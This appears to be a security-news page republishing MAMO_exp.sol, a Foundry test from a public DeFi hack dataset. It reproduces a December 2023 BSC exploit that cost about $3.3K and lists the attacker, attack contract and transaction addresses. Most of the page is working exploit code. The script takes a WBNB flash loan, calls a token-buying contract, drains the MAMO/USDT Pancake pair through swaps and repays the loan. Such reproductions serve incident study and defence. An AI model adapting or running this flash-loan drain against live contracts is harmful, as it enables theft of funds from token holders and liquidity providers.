Skip to content
THREATWIRE

Public reproduction file

src/test/2023-12/MAMO_exp.sol

Public reproduction file for dataset entry MAMO.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-12/MAMO_exp.sol74 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5
6// @KeyInfo - Total Lost : $3.3K
7// Attacker : https://bscscan.com/address/0x829fe73463ceae6579973b8bcd1e018976040ec4
8// Attack Contract : https://bscscan.com/address/0xd7a7d90b63da1b4e7ef79cb36935d38af0d6d0b4
9// Vulnerable Contract : https://bscscan.com/address/0x5813d7818c9d8f29a9a96b00031ef576e892def4
10// Attack Tx : https://bscscan.com/tx/0x189a8dc1e0fea34fd7f5fa78c6e9bdf099a8d575ff5c557fa30d90c6acd0b29f
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0x5813d7818c9d8f29a9a96b00031ef576e892def4#code
15// @Analysis
16// Post-mortem :
17// Twitter Guy :
18// Hacking God :
19import "forge-std/Test.sol";
20import "./../interface.sol";
22contract ContractTest is Test {
23 IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
24 DVM dvm = DVM(0xD534fAE679f7F02364D177E9D44F1D15963c0Dd7);
25 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
26 address tokenAddress = 0x4341bdCEd3908A45835C67A2DbBDe2d2dAA6645D;
27 IWBNB MAMO = IWBNB(payable(tokenAddress));
28 address usdtAddress = 0x55d398326f99059fF775485246999027B3197955;
29 IERC20 usdt = IERC20(payable(usdtAddress));
30 IPancakePair pair = IPancakePair(0x5813d7818c9d8F29A9a96B00031ef576E892DEf4);
31 IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
33 event log_Data(bytes data);
35 function setUp() external {
36 cheats.createSelectFork("bsc", 34_083_189 - 1);
37 }
39 function testExploit() external {
40 emit log_named_decimal_uint("[Begin] Attacker WBNB before exploit", wbnb.balanceOf(address(this)), 18);
41 emit log_named_uint("[Begin] Attacker MAMO before exploit", MAMO.balanceOf(address(this)));
42 address me = address(this);
43 dvm.flashLoan(0, 19_000_000_000_000_000_000, me, "0x21");
44 emit log_named_decimal_uint("[End] Attacker WBNB after exploit", wbnb.balanceOf(address(this)), 18);
45 emit log_named_uint("[End] Attacker MAMO after exploit", MAMO.balanceOf(address(this)));
46 }
48 function DVMFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes memory data) public {
49 wbnb.withdraw(quoteAmount);
51 address buyTokenContractAddress = 0xa915Bb6D5C117fB95E9ac2edDaE68AAd5EdB5841;
52 (bool successBuyToken,) = buyTokenContractAddress.call{value: quoteAmount}(
53 abi.encodeWithSignature("BuyToken(address)", 0x5813d7818c9d8F29A9a96B00031ef576E892DEf4)
54 ); // attacker contract gained 95,000,000 MAMO
55 require(successBuyToken, "BuyToken failed");
57 (uint256 _amount0, uint256 _amount1,) = pair.getReserves();
58 uint256 amount_out = router.getAmountOut(9_500_000_000_000_000_000_000_000, _amount0, _amount1);
59 pair.swap(0, amount_out, address(this), "");
61 uint256 usdtBalance = usdt.balanceOf(address(this));
62 usdt.approve(address(router), usdtBalance);
64 address[] memory path = new address[](2);
65 path[0] = usdtAddress;
66 path[1] = address(wbnb);
67 uint256[] memory amounts =
68 router.swapExactTokensForTokens(usdtBalance, 0, path, address(this), block.timestamp + 60);
70 wbnb.transfer(address(dvm), 19_000_000_000_000_000_000); //payback
71 }
73 fallback() external payable {}

Analysis

Dataset entry

Public Foundry test for “MAMO” (2023-12-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x829fe73463ceae6579973b8bcd1e018976040ec4

  • Attack Contract

    0xd7a7d90b63da1b4e7ef79cb36935d38af0d6d0b4

  • Vulnerable Contract

    0x5813d7818c9d8f29a9a96b00031ef576e892def4

  • Attack Tx

    0x189a8dc1e0fea34fd7f5fa78c6e9bdf099a8d575ff5c557fa30d90c6acd0b29f

File record

Name
MAMO
Path
src/test/2023-12/MAMO_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
9fb3a1ccfca965a6d862b35f04343f1a826044d1
Language
Solidity
Size
75 lines
Date
2023-12-05
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-12/MAMO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9fb3a1ccfca965a6d862b35f04343f1a826044d1, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.